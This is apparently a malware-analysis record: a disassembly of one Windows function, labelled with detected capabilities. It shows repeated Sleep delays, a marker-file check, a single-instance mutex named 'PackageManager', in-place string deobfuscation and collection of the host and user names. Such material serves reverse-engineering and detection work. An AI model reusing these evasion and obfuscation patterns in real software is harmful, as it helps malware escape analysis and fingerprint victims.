Function at 0x140002e80
Capabilities:
Check mutex on windows
Create thread
Delete file
Get hostname

Disassembly:
push rdi
sub rsp, 0x1f0
mov rax, qword [0x14001e018]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
lea rcx, str.C:userspublic_a.txt
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400032b2
mov rcx, rax
mov qword [rsp + 0x200], rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, str.PackageManager
xor ecx, ecx
lea edx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ecx, 0xc8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400032da
mov qword [rsp + 0x210], rsi
lea rcx, str.C:userspublic_a.txt
mov qword [rsp + 0x218], r14
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1400011d0
lea ecx, [rdi + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqu xmm0, xmmword [str.VgiqgmkSgtgmkx4kk]
lea r14, [0x140000000]
mov eax, 0x10
movdqa xmm1, xmmword [0x14001bc00]
psubb xmm0, xmm1
movdqu xmmword [str.VgiqgmkSgtgmkx4kk], xmm0
nop dword [rax]
nop word [rax + rax]
add byte [rax + r14 + 0x1ea58], 0xfa
inc rax
cmp rax, 0x12
jl 0x140003000
mov rax, rdi
nop word [rax + rax]
movdqu xmm0, xmmword [rax + r14 + 0x1ea20]
psubb xmm0, xmm1
movdqu xmmword [rax + r14 + 0x1ea20], xmm0
add rax, 0x10
cmp rax, 0x30
jl 0x140003020
mov ecx, 0x7d0
call qword [0x14001fdc8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0xc]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x12c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [0x140020018], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x5c]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [0x14001ffd8], rax
call fcn.140002460
mov esi, 0xffffffff
test eax, eax
jne 0x140003163
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x208], rbp
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x40], 0x64
call qword [0x14001fd80]
mov r9d, esi
mov dword [rsp + 0x28], edi
lea r8, [rsp + 0x60]
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebp, eax
test eax, eax
je 0x140003150
inc eax
movsxd rbx, eax
add rbx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
lea edx, [rsi + 9]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140003150
mov dword [rsp + 0x28], ebp
lea r8, [rsp + 0x60]
mov r9d, esi
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x140003153
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, rdi
mov rdx, rbx
call fcn.140002800
mov rbp, qword [rsp + 0x208]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x10
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov rcx, qword [0x140020018]
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [0x140020018]
lea rdx, [0x14001bb38]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x101
lea rcx, [rsp + 0xd0]
call qword [0x14001fd80]
mov rcx, qword [0x14001ffd8]
lea rdx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rdx, qword [0x14001ffd8]
mov rcx, qword [0x140020018]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rax, qword [0x140020018]
mov ecx, edi
test rax, rax
je 0x14000320d
cmp byte [rax], cl
je 0x14000320b
nop word [rax + rax]
inc ecx
lea rax, [rax + 1]
cmp byte [rax], dil
jne 0x140003200
mov esi, ecx
mov ecx, 0x1f40
mov dword [0x14001fe0c], esi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [rsp + 0x210]
nop word [rax + rax]
add byte [rdi + r14 + 0x1ea70], 0xfa
inc rdi
cmp rdi, 0xe
jl 0x140003230
add byte [0x14001ea6c], 0xfa
add byte [0x14001ea6d], 0xfa
add byte [0x14001ea6e], 0xfa
call fcn.1400032f0
mov rcx, qword [0x14001ea18]
mov edx, 1
call qword [0x14001fd68]
mov rcx, qword [0x14001ea18]
mov dword [0x14001fe08], eax
call qword [0x14001fd38]
call qword [0x14001fd98]
mov r14, qword [rsp + 0x218]
xor eax, eax
mov rbx, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140005d50
add rsp, 0x1f0
pop rdi
ret
mov qword [rsp + 0x28], rdi
lea r8, [fcn.140002e80]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140002e30
call fcn.140001e30
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001e30
int3